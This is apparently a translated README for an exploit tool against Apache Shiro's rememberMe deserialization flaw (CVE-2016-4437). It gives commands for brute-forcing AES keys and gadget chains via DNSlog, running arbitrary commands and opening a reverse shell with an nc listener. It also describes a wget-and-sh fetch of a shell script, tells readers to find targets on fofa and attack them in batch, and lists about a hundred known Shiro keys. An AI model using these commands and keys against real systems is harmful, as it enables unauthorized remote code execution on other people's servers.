
CVE-2016-4437-Shiro script con modulo di brute force per la deserializzazione e key, esecuzione di comandi e reverse shell
CVE-2016-4437 Strumento per la deserializzazione di Shiro<=1.2.4: brute force di moduli e key, esecuzione di codice e reverse shell
Poiché Shiro deserializza il campo rememberMe del cookie, se si conosce il metodo di codifica di Shiro, è possibile codificare un comando malevolo con lo stesso metodo e inserirlo nel cookie dell'header HTTP: quando Shiro deserializza il campo rememberMe del cookie inviato, esegue anche il comando iniettato, causando infine l'esecuzione di comandi.
Shiro usa di default CookieRememberMeManager; il flusso di elaborazione del cookie è:
ottenere il valore del cookie rememberMe-->decodifica Base64-->decifratura AES-->deserializzazione
Funziona sia su linux/win10
Funziona sia con python2/python3
Poiché nella cartella module è presente ysoserial.jar, il progetto è un po' grande; siate clementi.
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
Da combinare con http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn
Dopo il successo, controlla i log: il formato delle voci è {{key}}.{{module}}.dnslogurl
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn
Si evince quindi che la key valida è U3ByaW5nQmxhZGUAAAAAAA==, e il modulo è CommonsBeanutils1
Poiché la key contiene simboli come ==/+, questo progetto ne fa un po' di escaping. Dovrai confrontarle tu stesso con le key dell'appendice 1.
Trovane uno su fofa per giocarci

In realtà in rete esistono molti strumenti per il brute force di moduli e key, ma dopo il successo di solito riescono solo a stabilire la connessione, senza rivelare quale modulo e quale key siano stati usati, perché per una RCE senza output il codice di risposta è comunque 200, sia che funzioni sia che no. Questo progetto combina il brute force di moduli e key con dnslog per ottenere indirettamente la key e il modulo validi; il principio è l'essenza di DNSlog: durante la risoluzione il DNS lascia dei log e, leggendo i log di risoluzione dei domini multilivello, si ottengono le informazioni sulle richieste.
Puoi combinarlo con http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
In dnslog vedrai ping rcetest.x9zm4v.dnslog.cn; per distinguere, si consiglia di usare un dominio di un livello inferiore.
1、Configurazione del modulo
Devi modificare la riga 13
popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)sostituendo CommonsBeanutils1 con il modulo che ha avuto successo nel brute force.
2、Configurazione della key
Modifica la riga 16
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
sostituendola con la key che ha avuto successo nel brute force.
Trovane uno su fofa per provare

nc -lvnp 7777
python3 shiro_exp.py -u {{攻击的靶机}} -lh {{反弹shell的ip}} -lp {{反弹shell的端口}}
Per sicurezza, attacca comunque in locale. Il principio è che JRMPListener e il payload sono stati impacchettati insieme; in realtà, a rigor di logica, si potrebbe fare senza jrmplistener.

Una piccola riflessione
Visto che si può uscire in rete, perché non usare direttamente shiro_rec con una bash reverse shell?
Ho provato più volte, ma senza successo; credo che shiro applichi qualche filtro, però ho scoperto che si può prima scaricare con wget uno script .sh per la reverse shell e poi eseguirlo con sh.
Riferimento: Una piccola ricerca sulla reverse shell senza usare jrmplistener
Esegue un semplice test basato sugli header della richiesta e della risposta: inserisci i siti che usano shiro in shiro.txt.
Si consiglia di ottenere prima da fuzz-shiro i siti che usano shiro in shiro.txt, poi attaccarli in batch.
Le voci in dnsLog saranno:
{{key}}.{{modulo}}.{{url}}.dnsurl
Testato di persona, funziona abbastanza bene.
Esegui i seguenti comandi:
pip uninstall crypto pycryptodome
pip install pycryptodome
Nella cartella \Lib\site-packages della directory di installazione di Python, rinomina la cartella crypto in Crypto.
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==